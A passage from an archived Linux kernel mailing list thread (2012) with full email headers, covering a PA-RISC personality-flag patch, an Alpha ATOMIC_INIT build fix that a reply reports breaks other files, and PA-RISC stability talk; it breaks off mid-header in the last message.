> >             && personality == PER_LINUX)
> >                 personality = PER_LINUX32;
> > 
> > would that have no effect, and sys_personality() would be called with 
> > (PER_LINUX | UNAME26) instead of PER_LINUX32, just because of UNAME26 
> > being set as well. That doesn't seem really correct. Is it?
> 
> Heh, no.  This is a nasty mess.  

Indeed.

> Our assumption was that we own the flags ... hence the code.  There are 
> some flags we can't allow to be set or reset ... but that's only for the 
> mythical 64 bit userspace, so I suppose we just ignore that for now and 
> fix it if this ever appears.
>
> I don't like the hidden assumption that PER_LINUX == 0, but otherwise
> the code looks fine.
> 
> How about 
> 
> personality = (personality & ~PER_MASK) | PER_LINUX32;
> 
> and
> 
> err = (personality & ~PER_MASK) | PER_LINUX;

Agreed, that's a little bit nicer way how to express it (modulo the 
fact that the last 'personality' in your example should in fact be 'err'). 
Updated patch below, thanks.




From: Jiri Kosina <jkosina@suse.cz>
Subject: [PATCH 2/4] parisc: fix personality flag check in copy_thread()

Directly comparing task_struct->personality against PER_* is not fully
correct, as it doesn't take flags potentially stored in top three bytes
into account.

Analogically, directly forcefully setting personality to PER_LINUX32 or
PER_LINUX discards any flags stored in the top three bytes.

Signed-off-by: Jiri Kosina <jkosina@suse.cz>
---
v0->v1: fix the bit ops to reflect the fact that PER_LINUX is actually 0
v2->v2: express the PER_LINUX==0 fact in the bitops in a more obvious way

 arch/parisc/kernel/process.c    |    2 +-
 arch/parisc/kernel/sys_parisc.c |    8 ++++----
 2 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/arch/parisc/kernel/process.c b/arch/parisc/kernel/process.c
index d4b94b3..2c05a92 100644
--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -309,7 +309,7 @@ copy_thread(unsigned long clone_flags, unsigned long usp,
 		cregs->ksp = (unsigned long)stack
 			+ (pregs->gr[21] & (THREAD_SIZE - 1));
 		cregs->gr[30] = usp;
-		if (p->personality == PER_HPUX) {
+		if (personality(p->personality) == PER_HPUX) {
 #ifdef CONFIG_HPUX
 			cregs->kpc = (unsigned long) &hpux_child_return;
 #else
diff --git a/arch/parisc/kernel/sys_parisc.c b/arch/parisc/kernel/sys_parisc.c
index c9b9322..7f9658e 100644
--- a/arch/parisc/kernel/sys_parisc.c
+++ b/arch/parisc/kernel/sys_parisc.c
@@ -225,12 +225,12 @@ long parisc_personality(unsigned long personality)
 	long err;
 
 	if (personality(current->personality) == PER_LINUX32
-	    && personality == PER_LINUX)
-		personality = PER_LINUX32;
+	    && personality(personality) == PER_LINUX)
+		personality = (personality & ~PER_MASK) | PER_LINUX32;
 
 	err = sys_personality(personality);
-	if (err == PER_LINUX32)
-		err = PER_LINUX;
+	if (personality(err) == PER_LINUX32)
+		err = (err & ~PER_MASK) | PER_LINUX;
 
 	return err;
 }

-- 
Jiri Kosina
SUSE Labs
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:30 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fengguang Wu <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.janitors,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer
 element is not constant
Date: Thu, 2 Aug 2012 23:02:09 +0800
Lines: 63
Approved: news@gmane.org
Message-ID: <20120802150209.GA26601@localhost>
References: <20120722163058.GB13376@localhost>
 <20120723111619.GT9222@suse.de>
 <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com>
 <20120723114258.GV9222@suse.de>
 <20120723122905.GA22476@localhost>
 <BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl>
 <20120724074844.GA9519@localhost>
 <BLU0-SMTP6C7CFCFF734FE10A39B6E97DC0@phx.gbl>
 <1343193053.3139.6.camel@dabdike>
 <CA+8MBbJkGN+zGBdD5Hg26wW_6E9L_ufoutn7wj+Y+nhtW7WKWg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1343919753 982 80.91.229.3 (2 Aug 2012 15:02:33 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 2 Aug 2012 15:02:33 +0000 (UTC)
Cc: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Tony Luck <tony.luck@gmail.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Mel Gorman <mgorman@suse.de>, kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: linux-alpha@vger.kernel.org
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Aug 02 17:02:31 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1Swwv0-0004c8-CA
	for lnx-linux-alpha@plane.gmane.org; Thu, 02 Aug 2012 17:02:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751133Ab2HBPC2 (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Thu, 2 Aug 2012 11:02:28 -0400
Original-Received: from mga01.intel.com ([192.55.52.88]:54740 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750786Ab2HBPC1 (ORCPT <rfc822;linux-alpha@vger.kernel.org>);
	Thu, 2 Aug 2012 11:02:27 -0400
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga101.fm.intel.com with ESMTP; 02 Aug 2012 08:02:23 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.71,315,1320652800"; 
   d="scan'208";a="192495593"
Original-Received: from unknown (HELO wfg-t420.sh.intel.com) ([10.255.20.172])
  by fmsmga001.fm.intel.com with ESMTP; 02 Aug 2012 08:02:13 -0700
Original-Received: from wfg by wfg-t420.sh.intel.com with local (Exim 4.77)
	(envelope-from <fengguang.wu@intel.com>)
	id 1Swwuf-00073v-K4; Thu, 02 Aug 2012 23:02:09 +0800
Content-Disposition: inline
In-Reply-To: <CA+8MBbJkGN+zGBdD5Hg26wW_6E9L_ufoutn7wj+Y+nhtW7WKWg@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1848 gmane.linux.kernel.janitors:25314 gmane.linux.kernel:1336875 gmane.linux.ports.parisc:4526
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1848>

On Thu, Jul 26, 2012 at 10:06:41AM -0700, Tony Luck wrote:
> On Tue, Jul 24, 2012 at 10:10 PM, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> >> Here is the line in sock.i:
> >>
> >> struct static_key memalloc_socks = ((struct static_key) { .enabled =
> >> ((atomic_t) { (0) }) });
> >
> > The above line contains two compound literals.  It also uses a designated
> > initializer to initialize the field enabled.  A compound literal is not a
> > constant expression.
> 
> Seeing the same thing on ia64 building next-20120726.  Same fix works
> for me ... so I'll steal this whole changelog and attributes.

I got the same error for alpha, the same fix applies.
---
From: Mel Gorman <mgorman@suse.de>
Subject: [PATCH] [ALPHA] Redefine ATOMIC_INIT and ATOMIC64_INIT to drop the casts

The following build error occurred during an alpha build:

net/core/sock.c:274:36: error: initializer element is not constant

Dave Anglin says:
> Here is the line in sock.i:
>
> struct static_key memalloc_socks = ((struct static_key) { .enabled =
> ((atomic_t) { (0) }) });

The above line contains two compound literals.  It also uses a designated
initializer to initialize the field enabled.  A compound literal is not a
constant expression.

The location of the above statement isn't fully clear, but if a compound
literal occurs outside the body of a function, the initializer list must
consist of constant expressions.

Reported-by: Fengguang Wu <fengguang.wu@intel.com>
Signed-off-by: Mel Gorman <mgorman@suse.de>
Cc: <stable@vger.kernel.org>
---
 arch/alpha/include/asm/atomic.h |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- linux.orig/arch/alpha/include/asm/atomic.h	2012-05-24 19:03:06.000000000 +0800
+++ linux/arch/alpha/include/asm/atomic.h	2012-08-02 23:01:02.243224220 +0800
@@ -14,8 +14,8 @@
  */
 
 
-#define ATOMIC_INIT(i)		( (atomic_t) { (i) } )
-#define ATOMIC64_INIT(i)	( (atomic64_t) { (i) } )
+#define ATOMIC_INIT(i)		( { (i) } )
+#define ATOMIC64_INIT(i)	( { (i) } )
 
 #define atomic_read(v)		(*(volatile int *)&(v)->counter)
 #define atomic64_read(v)	(*(volatile long *)&(v)->counter)
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mikulas Patocka <mpatocka@redhat.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: Linux 3.4-rc7
Date: Tue, 7 Aug 2012 14:41:39 -0400 (EDT)
Lines: 62
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.64.1208071439090.6535@file.rdu.redhat.com>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com>
 <4FB011E7.1000604@linux.vnet.ibm.com> <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl>
 <4FB0197F.6010000@linux.vnet.ibm.com> <BLU0-SMTP85D30AAA2BF2CF07B1039897150@phx.gbl>
 <BLU0-SMTP4CED805E93EF3D8DA2198971A0@phx.gbl> <Pine.LNX.4.64.1208012054450.6361@file.rdu.redhat.com>
 <BLU0-SMTP1253492C7F871CBBDAC05297CB0@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1344364926 19739 80.91.229.3 (7 Aug 2012 18:42:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 7 Aug 2012 18:42:06 +0000 (UTC)
Cc: James.Bottomley@hansenpartnership.com,
	linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Aug 07 20:42:06 2012
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1SyojF-0002ik-Ub
	for glk-linux-kernel-3@plane.gmane.org; Tue, 07 Aug 2012 20:42:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932068Ab2HGSls (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 7 Aug 2012 14:41:48 -0400
Original-Received: from mx1.redhat.com ([209.132.183.28]:43140 "EHLO mx1.redhat.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756142Ab2HGSlp (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 7 Aug 2012 14:41:45 -0400
Original-Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25])
	by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id q77IfhDv020484
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
	Tue, 7 Aug 2012 14:41:43 -0400
Original-Received: from file.rdu.redhat.com (file.rdu.redhat.com [10.11.255.147])
	by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id q77Iffqa016258
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Tue, 7 Aug 2012 14:41:42 -0400
Original-Received: from file.rdu.redhat.com (localhost [127.0.0.1])
	by file.rdu.redhat.com (8.14.4/8.14.4) with ESMTP id q77Iff7a007648;
	Tue, 7 Aug 2012 14:41:41 -0400
Original-Received: from localhost (mpatocka@localhost)
	by file.rdu.redhat.com (8.14.4/8.14.4/Submit) with ESMTP id q77IfdPW007588;
	Tue, 7 Aug 2012 14:41:40 -0400
X-Authentication-Warning: file.rdu.redhat.com: mpatocka owned process doing -bs
X-X-Sender: mpatocka@file.rdu.redhat.com
In-Reply-To: <BLU0-SMTP1253492C7F871CBBDAC05297CB0@phx.gbl>
X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1339271 gmane.linux.ports.parisc:4527
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1339271>



On Wed, 1 Aug 2012, John David Anglin wrote:

> On 1-Aug-12, at 9:00 PM, Mikulas Patocka wrote:
> 
> > 
> > 
> > On Sun, 13 May 2012, John David Anglin wrote:
> > 
> > > On 13-May-12, at 4:40 PM, John David Anglin wrote:
> > > 
> > > > Yes, the revised change fixes the compilation error.  I'll know in a
> > > > while
> > > > if
> > > > my config boots.
> > > 
> > > 
> > > I successfully booted 3.4-rc7 with this change on rp3440 (4 cpu smp).  My
> > > build also
> > > included cache and other fixes that are being discussed on the parisc
> > > list.
> > > 
> > > Dave
> > 
> > Hi David
> > 
> > Can I download a series of your PA-RISC patches somewhere?
> > 
> > I applied this http://www.spinics.net/lists/linux-parisc/msg03352.html and
> > it improved stability for me (I had no gcc crashes since that, only
> > about two aptitude crashes).
> > 
> > How stable is it for you? Do you have some random crashes or not?
> 
> 
> Attached are my latest patch sets for linux-stable 3.4 and 3.5 branches.
> There is no place to to download them directly.  I added Jiri Kosina's
> personality fix today to the 3.5 patch set.  Otherwise, they are similar.
> 
> In general, stability with 3.4 has been pretty good.  I just started testing
> 3.5 a couple of days ago.  I went about three weeks without a random
> crash with 3.4 after I removed Al Viro's restart patch.  It was causing
> problems with irq handling.

Which restart patch do you mean?

> This is on 64-bit rp3440.  I have been using it to build debian unstable
> and test GCC 4.8.  So, the machine gets a fair bit of exercise.  In the last
> little while, it has been pretty easy to keep up with the changes in unstable.
> 
> Sorry, I haven't had time to submit my changes.  Some of the cache fixes
> are a bit hard to explain.
> 
> Dave
> --
> John David Anglin	dave.anglin@bell.net

Thanks. For me the kernel with the patch works fine - it would be nice to 
break it up to smaller pieces and submit it.

Mikulas

From - Thu Nov 08 21:08:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: Linux 3.4-rc7
Date: Tue, 07 Aug 2012 15:00:58 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <502165EA.4070602@bell.net>
References: <CA+55aFzsygnrJwLUPV8Vg4RPmwxXLuY-uo70fBLEZR8+barT5A@mail.gmail.com> <4FB011E7.1000604@linux.vnet.ibm.com> <BLU0-SMTP22F4864AE1F54838C150D797150@phx.gbl> <4FB0197F.6010000@linux.vnet.ibm.com> <BLU0-SMTP85D30AAA2BF2CF07B1039897150@phx.gbl> <BLU0-SMTP4CED805E93EF3D8DA2198971A0@phx.gbl> <Pine.LNX.4.64.1208012054450.6361@file.rdu.redhat.com> <BLU0-SMTP1253492C7F871CBBDAC05297CB0@phx.gbl> <Pine.LNX.4.64.1208071439090.6535@file.rdu.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1344370435 9121 80.91.229.3 (7 Aug 2012 20:13:55 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 7 Aug 2012 20:13:55 +0000 (UTC)
Cc: James.Bottomley@hansenpartnership.com,
	linux-parisc@vger.kernel.org,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>
To: Mikulas Patocka <mpatocka@redhat.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Aug 07 22:13:55 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SyqA7-0004Nd-1z
	for glpp-linux-parisc@plane.gmane.org; Tue, 07 Aug 2012 22:13:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755994Ab2HGUNy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Aug 2012 16:13:54 -0400
Original-Received: from mail16.primus.ca ([216.254.141.183]:36128 "EHLO
	mail-02.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1755692Ab2HGUNx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Aug 2012 16:13:53 -0400
X-Greylist: delayed 4370 seconds by postgrey-1.27 at vger.kernel.org; Tue, 07 Aug 2012 16:13:53 EDT
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-02.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1Syp1Z-0004ds-0g; Tue, 07 Aug 2012 15:01:01 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20120713 Thunderbird/14.0
In-Reply-To: <Pine.LNX.4.64.1208071439090.6535@file.rdu.redhat.com>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4528 gmane.linux.kernel:1339361
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4528>

On 8/7/2012 2:41 PM, Mikulas Patocka wrote:
> Which restart patch do you mean?
http://www.spinics.net/lists/linux-parisc/msg04229.html

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Cree <mcree@orcon.net.nz>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.janitors,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer
 element is not constant
Date: Sun, 12 Aug 2012 13:33:09 +1200
Lines: 81
Approved: news@gmane.org
Message-ID: <502707D5.7020602@orcon.net.nz>
References: <20120722163058.GB13376@localhost> <20120723111619.GT9222@suse.de> <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com> <20120723114258.GV9222@suse.de> <20120723122905.GA22476@localhost> <BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl> <20120724074844.GA9519@localhost> <BLU0-SMTP6C7CFCFF734FE10A39B6E97DC0@phx.gbl> <1343193053.3139.6.camel@dabdike> <CA+8MBbJkGN+zGBdD5Hg26wW_6E9L_ufoutn7wj+Y+nhtW7WKWg@mail.gmail.com> <20120802150209.GA26601@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1344735542 28411 80.91.229.3 (12 Aug 2012 01:39:02 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Aug 2012 01:39:02 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Tony Luck <tony.luck@gmail.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Mel Gorman <mgorman@suse.de>, kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	LKML <linux-kernel@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Fengguang Wu <fengguang.wu@intel.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Sun Aug 12 03:38:59 2012
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1T0N8t-0005Ek-7q
	for lnx-linux-alpha@plane.gmane.org; Sun, 12 Aug 2012 03:38:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752857Ab2HLBiv (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Sat, 11 Aug 2012 21:38:51 -0400
Original-Received: from nctlincom02.orcon.net.nz ([60.234.4.75]:53409 "EHLO
	nctlincom02.orcon.net.nz" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751268Ab2HLBiu (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Sat, 11 Aug 2012 21:38:50 -0400
X-Greylist: delayed 335 seconds by postgrey-1.27 at vger.kernel.org; Sat, 11 Aug 2012 21:38:49 EDT
Original-Received: from mx7.orcon.net.nz (mx7.orcon.net.nz [219.88.242.57])
	by nctlincom02.orcon.net.nz (8.14.3/8.14.3/Debian-9.4) with ESMTP id q7C1gHoD026549
	for <linux-alpha@vger.kernel.org>; Sun, 12 Aug 2012 13:42:17 +1200
Original-Received: from Debian-exim by mx7.orcon.net.nz with local (Exim 4.69)
	(envelope-from <mcree@orcon.net.nz>)
	id 1T0N3F-0007yU-LH
	for linux-alpha@vger.kernel.org; Sun, 12 Aug 2012 13:33:09 +1200
Original-Received: from 60-234-221-162.bitstream.orcon.net.nz ([60.234.221.162] helo=[192.168.1.5])
	by mx7.orcon.net.nz with esmtpsa (TLS1.0:RSA_AES_256_CBC_SHA1:32)
	(Exim 4.69)
	(envelope-from <mcree@orcon.net.nz>)
	id 1T0N3F-0007yG-3p; Sun, 12 Aug 2012 13:33:09 +1200
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.16) Gecko/20120613 Icedove/3.0.11
In-Reply-To: <20120802150209.GA26601@localhost>
X-Enigmail-Version: 1.0.1
X-DSPAM-Check: by mx7.orcon.net.nz on Sun, 12 Aug 2012 13:33:09 +1200
X-DSPAM-Result: Innocent
X-DSPAM-Processed: Sun Aug 12 13:33:09 2012
X-DSPAM-Confidence: 0.9938
X-DSPAM-Probability: 0.0000
X-Bayes-Prob: 0.0001 (Score 0, tokens from: @@RPTN, default)
X-Spam-Score: 0.00 () [Hold at 5.50] 
X-CanIt-Geo: ip=60.234.221.162; country=NZ; region=G2; city=Porirua; latitude=-41.1333; longitude=174.8500; http://maps.google.com/maps?q=-41.1333,174.8500&z=6
X-CanItPRO-Stream: base:default
X-Canit-Stats-ID: 05HJBGhiJ - e914a80add52 - 20120812
X-Scanned-By: CanIt (www . roaringpenguin . com) on 172.16.100.175
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:1850 gmane.linux.kernel.janitors:25404 gmane.linux.kernel:1341649 gmane.linux.ports.parisc:4529
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/1850>

On 03/08/12 03:02, Fengguang Wu wrote:
> On Thu, Jul 26, 2012 at 10:06:41AM -0700, Tony Luck wrote:
>> On Tue, Jul 24, 2012 at 10:10 PM, James Bottomley
>> <James.Bottomley@hansenpartnership.com> wrote:
>>>> Here is the line in sock.i:
>>>>
>>>> struct static_key memalloc_socks = ((struct static_key) { .enabled =
>>>> ((atomic_t) { (0) }) });
>>>
>>> The above line contains two compound literals.  It also uses a designated
>>> initializer to initialize the field enabled.  A compound literal is not a
>>> constant expression.
>>
>> Seeing the same thing on ia64 building next-20120726.  Same fix works
>> for me ... so I'll steal this whole changelog and attributes.
> 
> I got the same error for alpha, the same fix applies.

Just trying this patch on Alpha against v3.6-rc1 and it leads to new
compilation errors, namely:

init/init_task.c:12: error: braced-group within expression allowed only
inside a function
init/init_task.c:13: error: braced-group within expression allowed only
inside a function
init/init_task.c:16: error: braced-group within expression allowed only
inside a function
init/init_task.c:16: error: braced-group within expression allowed only
inside a function
make[1]: *** [init/init_task.o] Error 1

> ---
> From: Mel Gorman <mgorman@suse.de>
> Subject: [PATCH] [ALPHA] Redefine ATOMIC_INIT and ATOMIC64_INIT to drop the casts
> 
> The following build error occurred during an alpha build:
> 
> net/core/sock.c:274:36: error: initializer element is not constant
> 
> Dave Anglin says:
>> Here is the line in sock.i:
>>
>> struct static_key memalloc_socks = ((struct static_key) { .enabled =
>> ((atomic_t) { (0) }) });
> 
> The above line contains two compound literals.  It also uses a designated
> initializer to initialize the field enabled.  A compound literal is not a
> constant expression.
> 
> The location of the above statement isn't fully clear, but if a compound
> literal occurs outside the body of a function, the initializer list must
> consist of constant expressions.
> 
> Reported-by: Fengguang Wu <fengguang.wu@intel.com>
> Signed-off-by: Mel Gorman <mgorman@suse.de>
> Cc: <stable@vger.kernel.org>
> ---
>  arch/alpha/include/asm/atomic.h |    4 ++--
>  1 file changed, 2 insertions(+), 2 deletions(-)
> 
> --- linux.orig/arch/alpha/include/asm/atomic.h	2012-05-24 19:03:06.000000000 +0800
> +++ linux/arch/alpha/include/asm/atomic.h	2012-08-02 23:01:02.243224220 +0800
> @@ -14,8 +14,8 @@
>   */
>  
>  
> -#define ATOMIC_INIT(i)		( (atomic_t) { (i) } )
> -#define ATOMIC64_INIT(i)	( (atomic64_t) { (i) } )
> +#define ATOMIC_INIT(i)		( { (i) } )
> +#define ATOMIC64_INIT(i)	( { (i) } )
>  
>  #define atomic_read(v)		(*(volatile int *)&(v)->counter)
>  #define atomic64_read(v)	(*(volatile long *)&(v)->counter)

Cheers
Michael.
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fengguang Wu <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel.janitors,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [next:akpm 129/309] net/core/sock.c:274:36: error: initializer
 element is not constant
Date: Sun, 12 Aug 2012 10:10:13 +0800
Lines: 46
Approved: news@gmane.org
Message-ID: <20120812021013.GA8442@localhost>
References: <1343042420.3027.11.camel@dabdike.int.hansenpartnership.com>
 <20120723114258.GV9222@suse.de>
 <20120723122905.GA22476@localhost>
 <BLU0-SMTP2254F8872DDE5FA6035CDE97DD0@phx.gbl>
 <20120724074844.GA9519@localhost>
 <BLU0-SMTP6C7CFCFF734FE10A39B6E97DC0@phx.gbl>
 <1343193053.3139.6.camel@dabdike>
 <CA+8MBbJkGN+zGBdD5Hg26wW_6E9L_ufoutn7wj+Y+nhtW7WKWg@mail.gmail.com>
 <20120802150209.GA26601@localhost>
 <502707D5.7020602@orcon.net.nz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1344737478 7042 80.91.229.3 (12 Aug 2012 02:11:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 12 Aug 2012 02:11:18 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Tony Luck <tony.luck@gmail.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	John David Anglin <dave.anglin@bell.net>,
	Mel Gorman <mgorman@suse.de>, kernel-janitors@vger.kernel.org,
	Kyle McMartin <kyle@parisc-linux.org>,
	Andrew Morton <akpm@linux-foundation.org>,
